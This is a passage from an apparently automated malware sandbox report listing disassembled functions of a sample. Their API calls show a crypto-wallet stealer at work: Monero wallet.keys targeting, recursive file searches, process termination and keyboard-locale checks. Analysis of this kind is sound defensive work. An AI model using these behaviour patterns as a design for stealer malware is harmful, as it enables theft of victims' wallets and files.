                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
                                    • String ID: \*.*
                                    • API String ID: 1415058207-1173974218
                                    • Opcode ID: 0b156c01b0a76e9b18a36363f5988d64e906ef3f8799a82b2c5c93994244b4c2
                                    • Instruction ID: 8952f95297d587a4d8fc0be566917d6f412d1b755f44f03a025602d7e012a631
                                    • Opcode Fuzzy Hash: 0b156c01b0a76e9b18a36363f5988d64e906ef3f8799a82b2c5c93994244b4c2
                                    • Instruction Fuzzy Hash: 1512E1719101289BCB19FB60EC66EEEB3B9AF54300F4855F9B50676191EF306B88CF51
                                    Function 00E1DF10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00E30C32), ref: 00E1DF5E
                                    • StrCmpCA.SHLWAPI(?,00E315C0), ref: 00E1DFAE
                                    • StrCmpCA.SHLWAPI(?,00E315C4), ref: 00E1DFC4
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E1E4E0
                                    • FindClose.KERNEL32(000000FF), ref: 00E1E4F2
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
                                    • String ID: \*.*
                                    • API String ID: 2325840235-1173974218
                                    • Opcode ID: b83bef8c6897eeec86b1279a637350a8ad28471881825fdda68a9fe9ffd9fc6d
                                    • Instruction ID: fabf58c382b98c6c7338764833d002ff159cafee85f3fd1701309aacefc11859
                                    • Opcode Fuzzy Hash: b83bef8c6897eeec86b1279a637350a8ad28471881825fdda68a9fe9ffd9fc6d
                                    • Instruction Fuzzy Hash: C9F191719141289BCB15FB60DDA6EEEB3B9BF54300F4865E9B40A72091DF306B89CF51
                                    Function 00E1DB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E315A8,00E30BAF), ref: 00E1DBEB
                                    • StrCmpCA.SHLWAPI(?,00E315AC), ref: 00E1DC33
                                    • StrCmpCA.SHLWAPI(?,00E315B0), ref: 00E1DC49
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E1DECC
                                    • FindClose.KERNEL32(000000FF), ref: 00E1DEDE
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
                                    • String ID:
                                    • API String ID: 3334442632-0
                                    • Opcode ID: 2cc97e41e2c7b83417411ddef29d2eedd28e415ff8a4257a70bfd69158eed878
                                    • Instruction ID: d9c73fcb7ef2a1b21e6f3fd13849bf7a3de697cc62875d225830e62aaa329c95
                                    • Opcode Fuzzy Hash: 2cc97e41e2c7b83417411ddef29d2eedd28e415ff8a4257a70bfd69158eed878
                                    • Instruction Fuzzy Hash: 2E9145B2A001189BCB14FB74ED979ED73BDAF94340F0459A8F90776185EE349B48CB92
                                    Function 01269E81 Relevance: 12.8, Strings: 9, Instructions: 1586COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: $,7$)Xv}$-;w$3Hy$3~$J[?$P)[Y$]!S?$m`+
                                    • API String ID: 0-2745701188
                                    • Opcode ID: b1041a91034db655ff571b14f977484cd7a8bb1c97d8de2533933f5c43163741
                                    • Instruction ID: a5cc154681a1bf621fea5f4747eb8fb80f6f0c289bf10882b1553f32fe707672
                                    • Opcode Fuzzy Hash: b1041a91034db655ff571b14f977484cd7a8bb1c97d8de2533933f5c43163741
                                    • Instruction Fuzzy Hash: 19B2E4F3A0C2049FE3046E2DEC8567AFBE5EF94760F1A893DEAC483744E63558058696
                                    Function 0127243E Relevance: 12.8, Strings: 9, Instructions: 1530COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: FRW/$G#W'$\1^5$iuo${5Jy$~Ew$/W$\}R$pgn
                                    • API String ID: 0-3325242997
                                    • Opcode ID: 2fdf5150327526193255955257ee123c037e43d6374136a90052bbf405c8dbac
                                    • Instruction ID: 88e05d34bf5cf726b43d32522bf0517d19a57e63d80c5e2a560c2aa1b5e00908
                                    • Opcode Fuzzy Hash: 2fdf5150327526193255955257ee123c037e43d6374136a90052bbf405c8dbac
                                    • Instruction Fuzzy Hash: 01B2E4F290C204AFE304AF29EC8567AFBE5EF94720F1A493DEAC583340E63558548797
                                    Function 00E298E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00E29905
                                    • Process32First.KERNEL32(00E19FDE,00000128), ref: 00E29919
                                    • Process32Next.KERNEL32(00E19FDE,00000128), ref: 00E2992E
                                    • StrCmpCA.SHLWAPI(?,00E19FDE), ref: 00E29943
                                    • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00E2995C
                                    • TerminateProcess.KERNEL32(00000000,00000000), ref: 00E2997A
                                    • CloseHandle.KERNEL32(00000000), ref: 00E29987
                                    • CloseHandle.KERNEL32(00E19FDE), ref: 00E29993
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
                                    • String ID:
                                    • API String ID: 2696918072-0
                                    • Opcode ID: f0d2bebc4fd7b38b59237fa29e0415131c529d6be85c0f0d32e3397944231e9f
                                    • Instruction ID: 5f5ea97308e1ecbf42021d414aef119a0bd6eadb9c58f21db002e1b53a5af718
                                    • Opcode Fuzzy Hash: f0d2bebc4fd7b38b59237fa29e0415131c529d6be85c0f0d32e3397944231e9f
                                    • Instruction Fuzzy Hash: 97111F75900318ABCB24DFA5EC48BDDB7B9BB88700F0055CCF545AA244D7799A84CF90
                                    Function 00E27D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    • GetKeyboardLayoutList.USER32(00000000,00000000,00E305B7), ref: 00E27D71
                                    • LocalAlloc.KERNEL32(00000040,?), ref: 00E27D89
                                    • GetKeyboardLayoutList.USER32(?,00000000), ref: 00E27D9D
                                    • GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00E27DF2
                                    • LocalFree.KERNEL32(00000000), ref: 00E27EB2
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
                                    • String ID: /
                                    • API String ID: 3090951853-4001269591
                                    • Opcode ID: d1e744e0f8231fea1779e944f8c26beeea4de76f8c8843cfa361b97e7c959119
                                    • Instruction ID: 6381a3acdc7f8fb860bb4f52b2d2c7682bfd5357ba5e00c63ffdc2498d350e4b
                                    • Opcode Fuzzy Hash: d1e744e0f8231fea1779e944f8c26beeea4de76f8c8843cfa361b97e7c959119
                                    • Instruction Fuzzy Hash: E3413F71940228ABCB24DB94EC99BEEB7B5FF44700F2451D9E10A76281DB746F84CFA1
                                    Function 00E1E530 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00E30D79), ref: 00E1E5A2
                                    • StrCmpCA.SHLWAPI(?,00E315F0), ref: 00E1E5F2
                                    • StrCmpCA.SHLWAPI(?,00E315F4), ref: 00E1E608
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E1ECDF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
                                    • String ID: \*.*
                                    • API String ID: 433455689-1173974218
                                    • Opcode ID: 0d7e40bf4a4b4eb046a83691bf7d3da91fcfbe0755735af28e071f07f521ef41
                                    • Instruction ID: 6b37db10d4bf60472e05af5c2981a1f73e396f8bc4eec7243fecc976b42b4243
                                    • Opcode Fuzzy Hash: 0d7e40bf4a4b4eb046a83691bf7d3da91fcfbe0755735af28e071f07f521ef41
                                    • Instruction Fuzzy Hash: 7012F172A101289BCB14FB60EDA7EED73B9AF54300F4855F9B50A76191EE306F48CB52
                                    Function 0126316C Relevance: 9.2, Strings: 6, Instructions: 1664COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: f+g$$4vv$Kc+K$e'o$J~6$Q_?
                                    • API String ID: 0-3715263431
                                    • Opcode ID: c95f58816efa3882d7191cedc1a6bc773647f4cdbbf489d8d3791c403b808c97
                                    • Instruction ID: 8504b460657a7d3c93f2dfa671e41b572975603258efa4f419ebdc2d5fd38f9a
                                    • Opcode Fuzzy Hash: c95f58816efa3882d7191cedc1a6bc773647f4cdbbf489d8d3791c403b808c97
                                    • Instruction Fuzzy Hash: 00B216F3A082009FE3046E2DDC8567AFBE5EFD4760F1A4A3DE6C4C7744EA3598418696
                                    Function 0126B9C1 Relevance: 9.1, Strings: 6, Instructions: 1607COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
